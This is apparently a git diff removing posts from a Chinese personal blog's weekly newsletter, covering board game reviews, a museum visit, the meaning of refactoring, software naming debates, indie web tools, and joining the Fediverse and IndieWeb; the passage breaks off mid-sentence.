大概是很出名的毛线桌游了,很早就听说过,但这周才真的玩到。规则很简单,卡牌也很简单,甚至可以用扑克牌自制。游戏开始时,每位玩家抽取四张牌,背面朝上,查看其中两张并记住,之后不能再随意翻开查看。玩家轮流行动,在自己的回合时,玩家可以选择从弃牌堆顶明牌拿取一张牌,正面朝上;也可以从抽牌堆顶拿取一张牌,可以查看牌面,放置时背面朝上。拿到牌之后将这张牌和自己面前的四张牌进行交换。游戏的胜利条件是获得尽可能少的分数,所以玩家需要记住自己手中卡牌的点数,因为途中不能翻开查看,游戏过程中要通过换牌的方式把大的牌弃掉,留下小牌。在一局游戏结束之后,所有玩家根据手牌中卡牌点数的大小扣分;一开始有 100 分,游戏进行若干局次,扣到 100 分以下则出局;如果不多不少正好扣了 100 分,则该玩家获得 50 分。 - -从抽牌堆顶抽出的牌出了放在面前,如果带有文字,还可以当作功能牌打出,游戏主要有三种功能牌: - -1. PEEK(偷看):打出这张牌之后,可以翻开自己面前的一张牌查看。 -2. SPY(间谍):打出这张牌之后,可以翻开其他人面前的一张牌查看。 -3. SWAP(交换):打出这张牌之后,可以将自己面前的一张牌和其他人面前的一张牌进行交换。 - -除了从弃牌堆中明牌抽出的牌,以上的交换过程全都是背面朝下进行的,交换之后双方也看不到自己拿到了什么牌,只能依赖记忆。 - -游戏还有几个特殊操作: - -1. 玩家可以先不抽牌,而是宣称自己有 N 张相同的卡牌,然后翻开 N 张卡牌。如果翻开的这 N 张卡牌真的是相同的,这个玩家可以弃掉这些牌,再抽取一张牌放在面前。此后,这个玩家面前只有 5-N 张牌,而不是默认的 4 张。 -2. 玩家可以不做任何操作,而是「呼唤 CABO」,跳过自己的回合,其他人继续。再次轮到呼唤 CABO 的这位玩家时,所有人翻开自己的牌,如果呼唤 CABO 的玩家卡牌点数是最小的,那么他不会扣分,其他人照常根据卡牌点数扣分;如果他不是点数最小的,则额外扣 10 分。 - -除了和我一起玩的两个玩家都是火象星座,游戏没过几回合就全开始呼唤 CABO 搞得我游戏体验很低之外,我还是很喜欢这个游戏的。规则和玩法设计都很简单,但真的很好玩。 - - - -这个游戏叫 Things in Rings(中文翻译似乎是《环中物语》),玩家分为出题人和普通玩家,出题人需要选三张表示限制条件的卡牌,分别代表场上的红、黄、蓝三个环。红色环的限定词是物品的社会文化背景,蓝色环的限定词描述的是物品的物理性质,黄色环描述的是英语单词的构成(比如由几个音节组成、有没有重复字母)。出题人以外的其他玩家不知道这些限制条件,他们需要打出手中的五张物品牌,将物品放在圈内或圈外,接下来出题人需要判断这个归类是否正确:如果正确,该玩家可以打出下一张牌;如果不正确,出题人需要把物品放在正确的位置,该玩家需要再抽一张物品牌。游戏的胜利条件是成功打出手中的所有物品牌。 - -这个游戏神奇的点在于,出题人手中的限定词不一定很难(比如「有洞」「单词中有和首字母相同的字母」「能帮助你在野外生存」),但组合在一起往往能让其他玩家的 CPU 都烧起来(也不排除个别出题人的脑回路过于奇特以至于无法被正常人类所理解)。 - - - -忘记这个游戏叫什么名字了,但大概的玩法是:玩家在游戏开头获得两张股票,每张股票对应四种货物中的一种,在游戏过程中,每将一种货物成功送到港口就能提升股票的价值,在之后也可以购买股票。每轮游戏,玩家需要竞拍港长的职位,获得港长职务的玩家可以决定三艘船上要运送哪些货物,并且可以分配 9 个步数给三艘船,决定他们的起始位置。船各自会航行三次,每次航行的距离由港长扔骰子决定。如果船行驶超过 13 格,就可以成功进港;如果刚好停在 13 格,选择在海盗船上的玩家就可以劫持船只;如果没有到达 13 格,船就必须进入维修港口。船每次航行之前,玩家可以选择派一名水手到指定位置:如果在港口或维修港口,那么有船只进港之后,对应的玩家就会获得收益;如果选择在船上,那么对应的船进港之后就会获得收益;如果选择做海盗,那么海盗劫船之后就可以获得对应船只的全部收益;如果选择做领航员,就可以在港长扔骰子之后,让指定船只前进或后退 1~2 格。 - -我属于不争不抢的那种玩家,所以玩了几轮,一次都没当上港长,而只有港长才能决定船只位置、决定哪些货物上、购买股票,所以整体而言游戏体验不佳。 - -{{< gallery >}} - - - -{{</ gallery >}} - -这个游戏叫做《出包魔法师》,竞技要素没有很高,游戏的机制也很有趣,算是我比较喜欢的。游戏一共有八种法术,每个法术有标号,而法术符文的数量就是标号的数字,比如 1 号法术「召唤古代巨龙」就只有一个,而 8 号法术「魔法药水」有八个。符文是随机抽取的,而且玩家不能看到自己面前的五个符文,只能看到其他人的符文和已经被打出的,放置在场上的符文。玩家要根据符文的总数量,和场上能看到的已经出现的数量,推测自己的面前有没有某种类型的符文。 - -轮到自己的回合时,玩家要喊出符文名字,其他玩家判断这位玩家能不能使出法术(面前有没有对应的符文)。如果没有,则施法失败,该玩家要扣除一点生命值;如果有,则执行法术效果,并且玩家可以继续施法,但施法的标号必须大于等于前一种法术(例如,已经使用了 7 号火球术,就不能使用 6 号暴风雪)。 - -游戏的法术一共有以下八种: - -1. 「召唤古代巨龙」:投掷一个数字范围为 1~3 的骰子,其他玩家受到骰子决定的伤害;如果召唤巨龙失败,玩家投骰子决定自己因法术失败受到的伤害。 -2. 「召唤黑暗幽灵」:其他玩家全部扣除 1 点生命值,自己回复一点生命值。 -3. 「甜蜜的梦」:投掷一个数字范围为 1~3 的骰子,决定自己回复的生命值。 -4. 「猫头鹰」:从四个神秘符文中拿取一个查看,但不能使用。此举是为了帮助玩家排除场上所剩的符文数量。如果使用了猫头鹰法术的玩家存活到最后,那么一个神秘符文会为自己加一分。 -5. 「闪电暴风雨」:左边和右边的玩家各自受到一点伤害。 -6. 「暴风雪」:左边的玩家受到一点伤害。 -7. 「火球术」:右边的玩家受到一点伤害。 -8. 「魔法药水」:自身回复一点生命值。 - -有一位玩家死亡后结束一轮游戏,存活的玩家得到 1 分,杀死其他人的玩家获得 3 分,先拿到 8 分的玩家获胜。 - - - -这个游戏叫做《骷髅牌》,每个玩家选择一个颜色的底座可一个颜色的牌。牌是圆形的,一共有四张,其中有一张骷髅和三张花朵。游戏开始时,玩家各自在自己的底座上放一张牌,背面朝上,然后开始轮流行动。每轮行动,玩家可以选择翻牌或者加牌: - -1. 如果加牌,则将一张牌背面朝上盖在原来的自己的牌上。 -2. 如果翻牌,则宣布自己要翻几张牌,此时其他人可以加价,称自己要翻更多的牌,如果没有人继续加牌,最后叫牌的玩家开始翻牌。 - - 翻完对应数量的牌都没有翻到骷髅,该玩家就赢下这轮,可以将底座翻面,表示「升级」,升级后的底座再次翻面,这个玩家就赢得胜利。 - - 如果翻到了骷髅,该玩家就失败。他翻开了谁的骷髅,就由谁来抽取他手中的一张牌,接下来这个玩家就少一张牌可用。 - -游戏没有策略,是很纯粹的心理博弈,也是玩法设计很简单但可玩性很高的游戏,我很喜欢。 - - - -### 周末去美术馆遛弯 - -周五的时候放着一大堆作业没做,预约了周六的美术馆参观,然后就在里面消磨了一下午,逛到审美疲劳,一直到五点钟闭馆了才出门。展览的名字叫做《全国青年艺术家展》。我逛完才发现,我拍的全是那些没有宏大叙事元素的作品。 - -{{< gallery >}} - - - - -{{</ gallery >}} - -这上面某一幅画画了好多精子和一个男性生殖器,一旦发现之后,它就变成我打开照片第一眼就会看到的东西了——*他真的画了一个好标准的生殖器啊……* - -最后,这是我在美术馆外面一家杂货店发现的考拉 🐨 - -{{< gallery >}} - Large.jpeg](https://r2.eltr.ac/uPic/2025/12/IMG_6157%20Large.jpeg) Large.jpeg](https://r2.eltr.ac/uPic/2025/12/IMG_6147%20Large.jpeg) -{{</ gallery >}} - -祝你天天开心~
\ No newline at end of file diff --git a/content/posts/weekly/6.md b/content/posts/weekly/6.md deleted file mode 100644 index de7cafb9..00000000 --- a/content/posts/weekly/6.md +++ /dev/null @@ -1,140 +0,0 @@ -+++ -title = "稻草人周刊 Vol.6" -subtitle = "不知道取什么副标题" -description = "新个人主页、重构的意思、既要又要、无点击互联网时代" -date = 2024-12-09 09:20:00 -categories = "稻草人周刊" -draft = false -aliases = [ - "/posts/weekly/稻草人周刊-vol-6/", - "/posts/稻草人周刊-vol-6/", - "/posts/weekly/6", -] -+++ -> [!note] 💡 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/) 的第 6 期,我会在这里分享最近的有意思的事情、思考、阅读和体会。 - -<!--more--> - -## 🏃 - -[www.guhub.cn](https://www.guhub.cn/) 这个域名空了好久,我终于把它填上了。 - - - -这种风格叫做 Bento,是日语里「饭盒」的意思。虽然设计风格不算新了,但之前一直没有用到个人网站上的灵感。前几天偶然发现 [ImQi1](https://imqi1.com/about) 的播客,觉得他的关于页面令人眼前一亮,用的也是 Bento 风格。 - -便想要自己用 Vue 写一个,就有了现在这个主页。做这个页面还有另一个心思,就是想要练习「做小事」。因为自己容易陷入完美主义的拖延症当中,所以就给自己限定时间把一个小项目做完。 - -正因为真的很简单,就越容易陷入过度打磨当中,然后迟迟不肯发布。比如我现在还想往技术栈那一个卡片里加上 Hugo 和 MySQL 的徽标,想要打磨一下页面在小屏幕上的样式,但我知道,如果我继续的话,我就停不下来了。 - -如果你也是独立开发者,**我认为你我都需要一种,能够毫无波澜地把一堆充满了潜在 bug 和各种待重构的屎山代码推送到生产环境的勇气**。拥抱 MVP(最小可行性产品),先让世界看到你的想法。 - -## 🤔 - -### 重构(refactor)到底是什么意思? - -虽然是软件工程专业的学生,但还没开始正经地研究软件工程学。重构这个常见的概念,我其实一直不知道具体的意思。我发现我身边的不少人用「重构」这个词的时候,其实非常混乱,似乎都不是一个意思。 - -第一次接触到「重构」这个词,大概是高中的时候写 Typecho 主题,圈子里有不少开发者会「重构主题」,我自己也效仿过。当时我的理解就是,把相同设计的程序重新写一遍,就算重构了。这个理解其实不错,但也不对。 - -我接触版本管理也比较早,git commit summary 的编写规范也有所了解。这个 summary 就是在 git 仓库中递交(commit)一次更改时,用来描述这次更改内容的信息。主流的格式是 `<type>(<scope>): <subject>`,其中 `type` 指类型,比如 `feat` 表示添加了新特性(feature),还有一个是 `refactor`,也就是重构。我当时没多想,只是疑惑:这个操作有那么常见吗?重构这样的大操作,居然可以写在一个 commit 里吗? - -开始学 Java 之后,自然接触到了 IntelliJ IDEA 这个集成开发环境。第一次用的时候,我找不到重命名(Rename)在哪。后来才发现,Rename 被归属到 Refactor 下了。我心生疑惑:重命名这样简单的操作怎么就算重构了呢?但我也没多想,只是记住了,在写代码的时候,重命名也算一种「重构」操作。 - -直到这周,我终于搜索了「重构」的意思。维基百科给出的定义如下: - -> **代码重构**(英语:code refactoring)指对[软件](https://zh.wikipedia.org/wiki/%E8%BD%AF%E4%BB%B6)代码**做一些改动**以增加可读性或者简化代码结构而不影响输出结果。 -> -> …… -> -> 在[软件工程学](https://zh.wikipedia.org/wiki/%E8%BD%AF%E4%BB%B6%E5%B7%A5%E7%A8%8B%E5%AD%A6)里,**重构**[代码](https://zh.wikipedia.org/wiki/%E4%BB%A3%E7%A0%81)一词通常是指在**不改变代码的外部行为情况下而修改[源代码](https://zh.wikipedia.org/wiki/%E6%BA%90%E4%BB%A3%E7%A0%81)**。[^1] - -所以,把主题重写一遍,但是设计不变,只是从整体上优化结构,的确是「重构」,因为它没有改变代码的外部行为;简单地给文件重命名,也确实对代码进行了更改,代码的外部行为没有变,因此也算「重构」。重构这个操作不论大小,的确很常见。 - -我认为我遇到了一个叫做「**前置引用**」的现象,就是一个概念在我大脑中定义之前就出现在了其他定义中。简单来说,就是我过早地接触到了我没学过的东西,但这种「过早」并不是错的,甚至是难以避免的,在学习任何东西时都会遇到「前置引用」。在理解某个新概念的时候,往往会在他的定义中遇到另一个陌生的概念。 - -可以尝试的解决方法: - -1. 感到疑惑时就立刻去查 -2. 如果不妨碍现在的理解,就不管,把更多的精力放在当下需要理解的东西上 - -知识本质上也还是信息,真正重要的信息,你早晚会知道的,囫囵吞枣不是好事。 - -*如果你想要了解更多有关前置引用的内容,可以阅读《[关于前置引用现象,学习卡顿的根源 ](https://sspai.com/post/93798)》* - -### 深柜男同的既要又要 - -看到《[你看你,像不像它](https://ihaihe.cn/2796.htm)》这篇文章,大家都在讨论那个多管闲事的网友,不过我在博主的评论区里发现了一些有意思的东西: - -> 😁 川渝地区的gay,有很多gay自我认同都有障碍,他们焦虑、担心自己真的变成gay,然并卵。 - -我也是川渝的,读到博主的这条回复我不禁会想了一下我认识的、符合这种描述的人,还真不少。之前没什么感觉,现在回想起来,是会觉得有些离谱的。 - -初中有个男同学,知道我喜欢宝可梦,所以《皮卡丘大侦探》上映的时候就约了我出去。当时我以为会有别人,结果等我们上电梯的时候,跟他同行的一个朋友离开了过后,我才发现不对劲,但也没多想。由于当时是个上初中的小孩子,很幼稚,所以看电影的时候一直在跟他讲电影里出现的那只宝可梦叫什么名字,他听得意外地认真,给人一种「听你讲话好有意思哦」的姿态。 - -事情过了一两年我才后知后觉:我当时是被泡了?我回忆起和这位男同学的其他互动。有一次他突然加速走上来和我并肩走,然后搀住我的手。我表示不解,他故作强硬地说了一句「不可以吗?」,见我没什么反应就撒手,神色怪异地走开了。 - -还有一次,我隐约记得是某次模拟考试,我们站在走廊上。他背对着我站在我前面,突然用臀撞我的胯部(对,就是你脑子里想的那样),他这样重复了几次。我忘记我当时的感受了,印象里,他的神色和上次搀我手的时候一样。 - -除了他以外,还有上数学补习课时把手放在我大腿上,睁大眼睛看我的,可我没怎么理睬他,结果后来跟着班上的某个帅哥一起嘲讽我的长相,大概是为了换取某种平衡。还有一个在我向他表白之后叫我滚,之后却又在我向其他人表达恋爱苦恼时上来插话,问我还记不记得我跟谁表白过,暗示我「他有意向了」。另外一个因为和我交流比较多,知道我有博客,在我的博客下用「张」(他的姓氏)和一个不存在的邮箱留言,写下了「其实,我也是同」这句话,然后在我询问他时打死不认。 - -很多不成熟的男同性恋者容易形成一种矛盾的心理,一方面想要对方知道自己的情感,另一方面又不原意被别人知道自己的取向。一般人看不出来,但在我眼里,说实话,就像是嘴角沾了奶油的小孩,尝试辩解自己没偷吃蛋糕一样。 - -这话题真是越写越有意思,改天写篇文章聊一聊好了。 - -### 「无点击互联网」时代,独立博客何去何从? - -文章《[The Zero Click Internet](https://www.techspot.com/article/2908-the-zero-click-internet/#google_vignette)》指出了当代互联网继「信息茧房」之后,另一个令人担忧的事实——互联网巨头们在争夺注意力的同时,正在想尽一切办法阻止用户点击外部链接跳出他们的平台。 - -包含外部链接的帖子会被限流,就连 Google 也在用 AI 生成的摘要信息,防止你点进网站查看结果——*作为一个搜索引擎来说,这实在可笑*。 - -作者预言,找这个态势发展下去,独立网站将会不复存在,因为用户和流量全都被集中在无法跳出的大平台上了。也因为独立网站不复存在,面向这些网站的广告业务也会面临危机,域名买卖也会失去意义…… - -我认为,作者的担忧有些过于悲观,但的确值得深思。作为独立博主的你我,应该如何保证自己的内容生产不受到互联网的这种趋势影响呢?我想不出来,我唯一能想到的,就是保持现状。毕竟我们都只是花自己的钱为爱发电,做博客也不求盈利,只要技术没被封死,就会有这样一个圈子。哪怕是一小群人的狂欢又怎样呢,现在不也是那样吗? - -## 📒 - -[什么是智慧? - Rolen's Blog](https://rolen.wiki/what-is-wisdom/) - -> 我知道当心中有一个念头的时候,就应该放下手头的事情,马上去实现,因为一旦过了那个点,就大概率不会去做了。 - -[广东大学生请假事件分析 - 林海草原](https://lhcy.org/archives/guang-dong-da-xue-sheng-qing-jia-shi-jian-fen-xi.html) - -> 我知道现在一些人戾气很重,他们在网上写下这些言论,只是在发泄情绪而已。如果自己遇到类似的事情,恐怕也会无法处理,甚至出现严重违纪行为。 - -在咒骂学校等机构的死板和不近人情之余,也应该思考一下何为「责任体系」以及这些原因背后更不个人化的考量,实际上是为了群体的利益而非蠢坏。 - -[基督 - 栖木的网络日志](https://blog.thedoga.tech/archives/24/) - -> 我不想成为一个虚无存在的眷属。我相信一些别的东西,用时髦的话说:我自信乐观还有阅读量,我有什么好害怕的。 - -[如何解决信息焦虑问题 - Versun](https://versun.me/blog/如何解决信息焦虑问题/) - -> - 重要的信息绝不会消失,你很快会再次看到它 -> - 时间是最好的过滤器 - -[为什么人们开始不会“提问”了? - 莫比乌斯](https://onojyun.com/2024/12/03/为什么人们开始不会提问了?/) - -> - 时刻记住,你要关注的是“人” -> -> - 不要评价他人,因为你不知道对方的雷区在哪里。 -> -> - 如果你就是想夸,与其夸大家都能看见的“点”,不如夸她从未被夸的点 -> -> - “你是最特别的”。 - -《How to Deal With idiots》 - -> Try to negotiate and meet your norms with others' norms. Don't think you're so smart that everyone has to do things your way. -> -> 试着协商,将你的规则和其他人的规则靠拢。不要觉得你聪明到所有人都必须按照你的方法做事。 - -《乌合之众》 - -> - 群体会汇集的不是智慧而是愚蠢 -> - 如果整个世界代表一个群体,伏尔泰肯定比整个世界睿智 -> - 群体在智力上总是低于孤立的个人 -> - 群体或许会经常聚众犯罪,但往往也会豪情万丈 - -[^1]: [代码重构 - 维基百科,自由的百科全书](https://zh.wikipedia.org/wiki/代码重构) diff --git a/content/posts/weekly/60.md b/content/posts/weekly/60.md deleted file mode 100644 index dd73797e..00000000 --- a/content/posts/weekly/60.md +++ /dev/null @@ -1,193 +0,0 @@ -+++ -title = "稻草人周刊 Vol.60" -subtitle = "我加入了 Fediverse 和 IndieWeb" -tags = [ - "Geek", - "设计", - "软件", - "开源", - "语言", - "文化", - "Web", -] -date = 2025-12-22 08:37:00 -categories = "稻草人周刊" -draft = false -toc = true -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/12/coffee-cantata.webp" title="咖啡康塔塔" artist="巴赫" apple="https://music.apple.com/cn/album/bach-coffee-cantata/1452223774" >}} - -康塔塔(Cantata)是一种古典乐形式,也叫做「清唱套曲」,是一种包含独唱、重唱、合唱的声乐作品,一般包含多个乐章,大多有管弦乐伴奏。[^1]咖啡康塔塔[^2]是巴赫在 1732 到 1735 年创作的作品,尽管叫做康塔塔,但其实更像是短小的歌剧,而且偏喜剧。 - -故事的内容是一位父亲想要改掉女儿每天喝咖啡的*恶习*,威胁她要是不停止喝咖啡,就不准她参加派对、不准上街、没有新裙子穿,女儿说要是能喝咖啡,怎么样都行。最终父亲忍无可忍,说要是不戒掉咖啡,就不给女儿找男人,女儿说要是能找到一个健硕的爱人,自己就不会喝咖啡——最后,女儿偷偷地传播消息:要是不在婚约上写自己可以想什么时候喝咖啡就什么时候喝,自己就不会嫁给他。 - -我真的很喜欢这段歌词,我想我会背诵下来的 😋 - -> *If I couldn't, three times a day, be allowed to drink my little cup of coffee, in my anguish I will turn into a shriveled-up roast goat.* <br/> -> 如果我每天不能美美喝上三次咖啡,我就会痛苦得像一只被炙烤的山羊。 -> -> *Ah! How sweet coffee tastes, more delicious than a thousand kisses, milder than muscatel wine.* <br/> -> 啊!咖啡尝起来多甜美!比一千个情人的吻还美味,比麝香葡萄酒更温柔! -> ->*Coffee, I have to have coffee, and, if someone wants to pamper me, ah, then fill up my coffee again!* [^3]<br/> -> 咖啡啊咖啡,我一定要喝,如果有人要款待我,就请满上我的咖啡杯! - -<!--more--> - -## ⋈︎ · 连接 - -### 怎么哪里都有菜单图标? - -> [!note] 📜 -> [Icons in Menus Everywhere — Send Help - Jim's Blog](https://blog.jim-nielsen.com/2025/icons-in-menus/) - -作者抱怨了 macOS Tahoe 在菜单栏里加图标的新设计,他一直认为菜单栏里的图标是一种视觉噪音,看起来很乱,而且可能造成误解。许多产品(比如 Google Sheets)都采用了这种设计,而随着 macOS Tahoe 发布,Apple 也加入了「硬往菜单里塞图标」的大军,他感到很沮丧。 - -作者认为用于移动窗口、管理窗口布局的图标,用图形来指示位置是很直观的,是好的设计,然而,如果没有好的理由,就不应该往菜单里塞图标。讽刺的是,Apple 实际上违背了他们自己的[设计指导](https://web.archive.org/web/20201027235952/https://developer.apple.com/design/human-interface-guidelines/macos/menus/menu-anatomy/),相关的文档中有一节专门讨论图标在菜单中的使用。 - -> There are a few standard symbols you can use to indicate additional information in menus…Don’t use other, arbitrary symbols in menus, because they add visual clutter and may confuse people. -> -> 有一些标准的符号可以用在菜单中指示附加信息。不要在菜单中随意使用其他的符号,因为它们可能会造成视觉杂乱、使人困惑。 - -我也不喜欢菜单里硬塞图标的设计(还有在 PPT 里塞语义模糊、与上下文无关的图标),我认为这种设计本质上是缺少思考的体现,没有考虑设计是否必要,只是想要把空间占满,明明**有些空白就应该留着**。 - -### 开发者应该如何命名工具? - -> [!note] 📜 -> [Programmers and software developers lost the plot on naming their tools](https://larr.net/p/namings.html) - -作者观察到了一种现象:如今的软件开发者非常喜欢用动物、虚构角色和一些意义不明的名词来命名自己的软件,像 Cobra、Viper 和 Melody,使得整个软件生态变得像是动物园,最大的问题是,这让那些排查依赖问题的开发者很头疼,看着长长的依赖树却根本不知道每个依赖是用来做什么的。作者指出,其他科学领域里不会把这种命名方式视作专业行为——如果一个化学家把一个分子命名为 Steve,仅仅因为 Steve 这个名字很好笑,而且会让他的论文更接地气,这无异于社会性自杀。 - -作者指出,以前的软件名称都有表意作用,比如早期的编程语言名字: - -- FORTRAN(Formula Translation) -- COBOL(Common Business-Oriented Language) -- Lisp(List Processing) - -还有早期的 Emacs 编辑器里的一些名字,dired 是 Directory Editor(目录编辑器)、eshell 是 Emacs Shell;一些命令也是如此,比如 grep 是 Global Regular Expression Print(全局正则表达式打印),sed 是 Stream Editor(流编辑器),cat 是 Concatenate(串联)。 - -作者认为动物园式的命名方式会造成认知债务(cognitive tax),使开发者不得不花更多的时间来理解工具的名字。他认为软件开发者应该使用复合词,根据用途来命名软件,至于宣传和接地气的部分,完全可以单独做一个吉祥物,比如 PostgreSQL 的吉祥物是一只名叫 Slonik 的大象——不要把软件的名字当成吉祥物。 - ---- - -我其实不能**完全**认同作者的观点。实话实说,在读这篇文章之前,我完全不知道 grep 的全名是「全局正则表达式打印」而 Emacs 里的 dired 是目录编辑器——这几个东西我都用过,`grep` 还是我最常用的命令之一,然而,它们的名字对我而言,和 Cobra、Viper 之类的没有太多区别。作者可能忽略了,许多人(尤其是非英语母语者)并不在乎一个工具的全名是什么,只要把用途和名字匹配起来就好了——所有程序员都会写 SQL,但除了学校里的老师可能会在 PPT 上写「SQL 的全名是 Structured Query Language,结构化查询语言」之外,还有多少人在乎呢?像 MySQL 和 PostgreSQL 这样的数据库管理系统,明明不是一种 DSL 或者 SQL 的变体,却还是使用了 SQL 的名字,这个词已经变成广义上的关系型数据库的代称了。 - -更别提 FORTRAN、COBOL 和 Lisp 了,如果不是真心对这几门语言感兴趣的黑客,谁能一眼看出来他们表示什么意思?作者所提到的认知债务,在这些「具有描述性」的名字中**依然存在**。此外,我也不太能明白为什么作者认为 Go 语言是一个有点蠢的名字,难道必须起一个像 `http-request-validator` 一样的名字,才能算好吗?那同类软件之间要如何做出区分呢? - -不过,我也要承认,随便拿一个几乎毫无关联的名词做软件的名字,的确不太妥当,但我认为不妥当的点在于自我意识过剩和对作品以及用户不负责,而不是「名称不具有描述性」这个理由。比如,一个开发者很喜欢宝可梦,便把自己开发的一个系统清理工具命名为 Squirtle(杰尼龟),就不太妥当了,因为名称与工具之间几乎没有任何关联,或者说脑回路过于奇特,其他人难以建立起关联。但是,如果把一个用于将网盘挂载(mount)到文件系统中的软件命名为 Pokémount,我认为这不失为在个性和描述性之间的一种平衡(只不过这个例子可能会有版权问题,但我觉得我表达清楚我的观点了)。 - -作者在文中提到了一个名为 `libsodium` 的加密库,说自己看到这个名字的时候必须从「解决问题模式」切换到「一探究竟模式」,才能搞清楚这个库为什么叫这个名字——加密往往涉及到「加盐」,而名字中的 Sodium(钠)明显代指「盐」,这个名字实际上还是具有描述性的。我想说的是,开发者完全可以更专注,在解决问题的时候**收一收自己的好奇心**,就像我在用 `grep` 筛选查看返回信息的时候,只会专注找我想要的内容,而不是纠结 `grep` 这四个字母究竟是什么意思。 - -### 中文的「不错」和英文的「好」 - -> [!note] 📜 -> [The Architecture of "Not Bad": Decoding the Chinese Source Code of the Void](https://suggger.substack.com/p/the-architecture-of-not-bad-decoding) - -作者表示自己作为中文母语者,更喜欢用双重否定表达肯定,比如「不错」「没事」「没错」,而他观察到英文使用者更偏好直接肯定,比如「Decent」「Okay」「Right」。他认为中文使用者更偏好使用双重否定,其实是一种留白,刻意留下了一定的模糊性以避免直接承担表达的责任,设立了一种心理屏障。例如,A 在选购某种商品时寻求了 B 的建议,如果 B 说「我觉得很好」,而 A 买下之后却遇到了各种不如意,那 B 就有可能承担 A 的选择带来的后果;如果 B 说「还行吧,不坏」,没有得到直接肯定答复的 A 需要承担全部的选择带来的责任。作者认为两种语言实际上构建了两种不同的现实模型(realities)。 - -毋庸置疑,语言会影响思维方式,不过我并不赞同这种过于简单粗暴的二分法,实际上「Not bad」这个说法也很常见,甚至比中文里还要常见,因为中国人在相似场景下可能更喜欢说「还行」——一个语气更弱的直接肯定,而不是双重否定。 - -作者似乎也没有意识到,世界上说英语的人很多,全世界都有英语使用者,而作者提到的偏好肯定的、简单直白的英语,更像是美国人说的英语。文章下有一条评论是这样说的: - -> 我只是过来说一句下面已经有人说过的话:你显然没有和某一类英格兰人打过交道。 -> -> 美国人是喜欢玩火柴和刀片的小孩子。 - -<details> - <summary>原文</summary> - -> Came here to say what someone else has already said below: you've obviously had little to do with a certain sort of Englishman. -> -> Americans are children playing with matches and razor blades. - -</details> - -不过,作者的确在自己的认知范围内做出了足够多的分析,文章写得也足够条理清晰,读起来很有意思。只不过,这篇文章收到的一些批评也提醒我:不要陷入太过简单的二元对立陷阱中,真实情况往往更复杂;分析现象时最好要找到足够多的依据,对于这类文化问题,最好找一些英语使用者和中文使用者来讨论,或者请他们读一读文章草稿。 - -## ⁂ · 星群 - -### Atomic CSS Devtools - -用于测试和 Debug 原子化 CSS 的工具,支持 TailwindCSS、UnoCSS、PandaCSS 等其他原子化 CSS 库。刚发现的时候还觉得用处不大,因为原子 CSS 的类名本身就很清晰了,但发现这个工具的同一天,我就遇到了一个奇怪的 UnoCSS 导致的问题——有一个类只有变量,但没有实际发挥作用的属性。如果没有这个 Atomic CSS Devtools,我可能要在 Styles 标签页翻找好久才能发现。 - -这个插件在前端开发者工具中添加了一个 Atomic CSS 标签页,会把选中元素的样式全部列出来,在右侧显示是哪个类提供了这个样式。 - - - -访问:[GitHub - astahmer/atomic-css-devtools](https://github.com/astahmer/atomic-css-devtools) - -### Wails - -一个跨平台的桌面端应用开发框架,后端使用 Go 语言,UI 可以使用任何前端技术构建。和 [Tauri](https://tauri.app/) 一样,Wails 不会把浏览器内核打包到最终的软件包里,而是使用系统默认 WebView,软件包的大小会比 Electron 小很多。 - -Tauri 使用 Rust 语言,而 Wails 使用 Go 语言,两者在前端技术上都没有限制。除了 Tauri 出现的时间比较早,生态可能更成熟之外,我认为两者都是不错的跨平台开发选择——不过相比 Electron,这两个框架在生态上都没有太大优势。 - -访问:[Wails](https://wails.io/) -### MrRSS - -一个比较新的跨平台 RSS 阅读器,用 Wails 开发。我并没有觉得 MrRSS 的设计有多惊艳,但我对它使用的技术栈很有好感,使用的是 Go 语言和 Vue.js(~~如果用的是 Node.js 和 React 我大概会直接晕过去~~)。作者正在积极开发,如果你在选择新的 RSS 阅读器,MrRSS 可能是一个不错的选择。 - -访问:[GitHub - WCY-dt/MrRSS](https://github.com/WCY-dt/MrRSS) - -## ↯ · 当下 - -### 我加入了 Fediverse - -Fediverse(联邦宇宙)是去中心化的社交网络,所有使用相同协议的实例能够相互通信,使得用户可以在一个服务器上查看整个 Fediverse 中架设于其他服务器上的社交媒体实例上的内容。最常用的协议是 ActivityPub,支持这个协议的软件有 Mastodon 和 Misskey 等微博(Microblogging)平台,像 Ghost 这样的内容管理平台也有支持 ActivityPub 的,也属于联邦宇宙的一部分。 - -相比 Twitter(我不想用 X 这个名字)和 Instagram 这类由某个科技公司提供的社交媒体,Fediverse 更自由,用户可以选择在自己信任的服务器上注册账号(或者自己架设服务器),只需要电子邮箱就能注册,只要在任何一个支持 ActivityPub 协议的服务器上拥有账号,就能在整个 Fediverse 上和其他人交流,而且,在这里没有人想要给你推荐广告、收集和售卖你的数据。 - -我刚开始探索 Fediverse,所以选择了在一个公共实例上注册,未来兴许会自建实例。[@eltrac@c7.io](https://c7.io/@eltrac) 是我的 Mastodon 账号,期待能和你在联邦宇宙上相遇。 - -### 我加入了 IndieWeb - -[indieweb.org](https://indieweb.org/) 是这样介绍自己的: - -> IndieWeb 是专注于人的网络,用于替代「大公司网络」。 -> -> 我们是由独立的个人网站组成的社群,基于这样的原则:拥有你自己的域名,把域名用作你最主要的线上身份,在你自己的网站上优先发表内容(发在其他地方是可选的),并且拥有你的内容。 - -<details> - <summary>原文</summary> - -> The IndieWeb is a people-focused alternative to the “corporate web”. -> -> We are a community of independent and personal websites based on the principles of: owning your domain and using it as your primary online identity, publishing on your own site first (optionally elsewhere), and owning your content. - -</details> - -之前一直很喜欢 IndieWeb 的概念,但没有深入了解。其实加入 IndieWeb 也很简单,最主要的步骤就是拥有自己的域名和网站,优先在网站上发表内容,之后再同步到其他地方,这件事情我已经在做了。要说别的什么东西,大概就是设置一下 Microformats、配置 IndieAuth 和支持 Webmention。 - -Microformats 是基于 HTML 的一种标记内容和身份的格式,主要用来帮助自动化工具展示作者信息和内容信息,详情可查阅 [IndieWeb Wiki](https://indieweb.org/microformats)。 - -至于 IndieAuth,就是给链接加上 `rel="me"` 属性以声明链接到的个人资料的确属于自己,这个链接可以是 `<link>` 也可以是 `<a>`,以下是我的写法: - -```html -<link rel="me" href="https://c7.io/@eltrac"> -<link rel="me" href="https://github.com/BigCoke233" /> -<link rel="me" href="mailto:hi@eltr.ac" /> -``` - -确保网站上有 `rel="me"` 的内容之后,还需要在以上链接中链接到自己的网站,比如在 GitHub 个人资料中设置个人主页链接。许多 IndieWeb 相关的服务,比如 [webmention.io](https://webmention.io/),支持 Web Sign-In,只要提前配置好了 IndieAuth,就可以通过自己指定的 GitHub 